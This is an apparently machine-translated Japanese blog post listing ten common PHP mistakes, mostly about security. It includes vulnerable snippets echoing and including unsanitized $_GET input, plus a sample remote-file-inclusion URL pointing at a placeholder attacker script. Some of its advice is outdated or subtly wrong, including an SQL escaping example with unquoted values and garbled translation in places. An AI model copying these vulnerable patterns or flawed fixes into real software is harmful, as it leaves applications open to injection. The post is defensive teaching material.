PHP は優れた Web 開発言語であり、柔軟な言語ですが、私は PHP プログラマーが何度も犯すいくつかの間違いを見てきました。私は、PHP プログラマーが犯しやすい 10 個の間違いのリストを以下に作成しました。そのほとんどはセキュリティに関連しています。あなたがどれだけ間違いを犯したか見てみましょう:
1. HTML エンティティを理解していない
基本的な常識: すべての信頼できない入力 (特にユーザーがフォームから送信したデータ) は出力前に解釈されなければなりません。
<ol class="dp-c"><li class="alt"><span><span class="func">echo</span><span> </span><span class="vars">$_GET</span><span>[</span><span class="string">'usename'</span><span>] ; </span></span></li></ol>
この例では次のように出力される可能性があります:
<script>/*管理者パスワードを変更するスクリプト、または Cookie を設定するスクリプト*/</script>
これは、ユーザーがすべて正しく入力したことを保証しない限り、明らかなセキュリティ リスクです。
修正方法:
「< "、">"、"and" などを、関数 htmlspecialchars および htmlentities( ) はまさにこの作業を実行します。
正しい方法:
<ol class="dp-c"><li class="alt"><span><span class="func">echo</span><span> htmlspecialchars(</span><span class="vars">$_GET</span><span>[</span><span class="string">'username'</span><span>], ENT_QUOTES); </span></span></li></ol>
2. SQL 入力を無視しないでください
これについては、SQL インジェクションを防ぐ最も簡単な方法 (php+mysql で) についての記事で説明しました。質問して、ある人が、php.ini で magic_quotes がすでに On に設定されているので、これについて心配する必要はないと私に言いましたが、すべての入力が $_GET、$_POST、または $_COOKIE から来るわけではありません。
修正方法: SQL インジェクション (php+mysql) を防ぐ最も簡単な方法と同様に、mysql_real_escape_string() 関数を使用することをお勧めします
正しいアプローチ:
<ol class="dp-c"><li class="alt"><span><span><?php </span></span></li><li><span class="vars">$sql</span><span> = “UPDATE users SET </span></li><li class="alt"><span>name=’.mysql_real_escape_string(</span><span class="vars">$name</span><span>).’ </span></li><li><span>WHERE id=’.mysql_real_escape_string (</span><span class="vars">$id</span><span>).’”; </span></li><li class="alt"><span>mysql_query(</span><span class="vars">$sql</span><span>); </span></li><li><span>?> </span></span></li></ol>
3. HTTP ヘッダー関連関数の間違った使用: header ()、session_start()、setcookie()
この警告に遭遇したことがありますか?」 警告: ヘッダー情報を追加できません - ヘッダーはすでに送信されました [....]
サーバーが Web ページをダウンロードするたびに、サーバーの出力は、ヘッダーと本文の 2 つの部分に分かれています。
ヘッダーには Cookie などの非視覚データが含まれています。常に頭が最初に到着します。テキスト部分には、ビジュアル HTML、画像、その他のデータが含まれます。 Output_buffering が Off に設定されている場合、出力がある前にすべての HTTP ヘッダー関連関数を呼び出す必要があります。問題は、ある環境で開発し、別の環境にデプロイすると、output_buffering 設定が異なる可能性があることです。その結果、リダイレクトが停止し、Cookie とセッションが正しく設定されませんでした...
修正方法: 出力する前に必ず http ヘッダー関連関数を呼び出し、output_buffering = Off に設定してください。
4. ファイルに安全でないデータを使用することを要求するか、含める
繰り返しになりますが、明示的に宣言していないデータは信頼しないでください。 $_GET、$_POST、または $_COOKIE から取得したファイルを含めたり、要求したりしないでください。
例:
<ol class="dp-c"> <li class="alt"><span><span>index.php </span></span></li> <li><span><? </span></li><li class="alt"><span class="comment">//including header, config, database connection, etc </span><span> </span></li><li><span class="keyword">include</span><span>(</span><span class="vars">$_GET</span><span>[</span><span class="string">'filename'</span><span>]); </span></li><li class="alt"><span class="comment">//including footer </span><span> </span></li><li><span>?> </span></li> </ol>
これで、ハッカーは http://www.yourdomain.com/index.php?filename=anyfile.txt を使用して機密情報を取得したり、PHP スクリプトを実行したりできるようになります。
allow_url_fopen=On の場合、あなたは死んでいます:
次の入力を試してください: http://www.yourdomain.com/index … n.com%2Fphphack.php
これで、Web ページに http:// からの出力が含まれています。 www.youaredoomed.com/phphack.php。ハッカーはスパムの送信、パスワードの変更、ファイルの削除などを行う可能性があります。想像できるものなら何でも。
修正方法: どのファイルを include ディレクティブまたは require ディレクティブに含めることができるかを自分で制御する必要があります。
これは簡単ではありますが、包括的ではない修正です:
<ol class="dp-c"><li class="alt"><span><span><? </span></span></li><li><span class="comment">//Include only files that are allowed. </span><span> </span></li><li class="alt"><span class="vars">$allowedFiles</span><span> = </span><span class="keyword">array</span><span>(’file1.txt’,</span><span class="string">'file2.txt’,'</span><span>file3.txt’); </span></li><li><span class="keyword">if</span><span>(in_array((string)</span><span class="vars">$_GET</span><span>[</span><span class="string">'filename'</span><span>],</span><span class="vars">$allowedFiles</span><span>)) { </span></li><li class="alt"><span class="keyword">include</span><span>(</span><span class="vars">$_GET</span><span>[</span><span class="string">'filename'</span><span>]); </span></li><li><span>} </span></li><li class="alt"><span class="keyword">else</span><span>{ </span></li><li><span class="func">exit</span><span>(’not allowed’); </span></li><li class="alt"><span>} </span></li><li><span>?> </span></span></li></ol>
5. 文法エラー
文法エラーには、非常に一般的なため、ここにリストする必要があるすべての語彙および文法エラーが含まれます。解決策は、PHP の構文を注意深く研究し、括弧、中括弧、セミコロン、または引用符を見逃さないように注意することです。また、メモ帳は使用せずに、適切なエディタを見つけてください。
6. オブジェクト指向の使用がほとんど、またはまったくない
多くのプロジェクトでは PHP のオブジェクト指向テクノロジが使用されていないため、コードのメンテナンスに非常に時間と労力がかかります。 PHP はますます多くのオブジェクト指向テクノロジをサポートしており、ますます改良されています。オブジェクト指向テクノロジを使用しない理由はありません。
7. フレームワークを使用しない
PHP プロジェクトの 95% は、作成、編集、リスト、削除という 4 つのことを行っていますが、これら 4 つの作業を実行するのに役立つ MVC フレームワークがたくさんあります。彼ら?
8. PHP にすでにある関数がわからない
PHP のコアには多くの関数が含まれています。多くのプログラマーは何度も車輪の再発明を繰り返します。多くの時間が無駄になりました。コーディングする前にGoogleでPHP mamualと検索してみると新しい発見があるかも知れません! PHP の exec() は、cmd シェルを実行し、実行結果の最後の行を文字列の形式で返すことができる強力な関数です。セキュリティを考慮して、EscapeShellCmd() を使用できます
古いバージョンの PHP を使用する
多くのプログラマーは依然として古いバージョンの PHP を使用しており、古いバージョンでの開発は PHP の可能性を十分に活用できません。セキュリティ上のリスク。新しいバージョンにジャンプするには、それほど手間はかかりません。ほとんどの古い PHP バージョンのプログラムは、ステートメントをほとんど変更せずに、またはまったく変更せずに新しいバージョンに移行できます。
10. 引用符を 2 回変換します
Web ページで「または」が表示されるのを見たことはありますか? これは通常、開発者の環境では magic_quotes がオフに設定されており、デプロイされたサーバーでは magic_quotes=on に設定されているためです。PHP は実行されます。 GET、POST、COOKIE のデータに対して addlashes() を繰り返し実行します
元のテキスト: これは文字列です
マジック引用符:それは文字列です
addslashes() を再度実行します: これは文字列です
HTML 出力: これは文字列です
もう 1 つの状況は、ユーザーが最初に間違ったログイン情報を入力したことをサーバーが検出した後、同じフォームを出力してユーザーに再入力を要求し、ユーザーの入力が 2 回変更されることです。
http://www.bkjia.com/PHPjc/445796.htmlwww.bkjia.com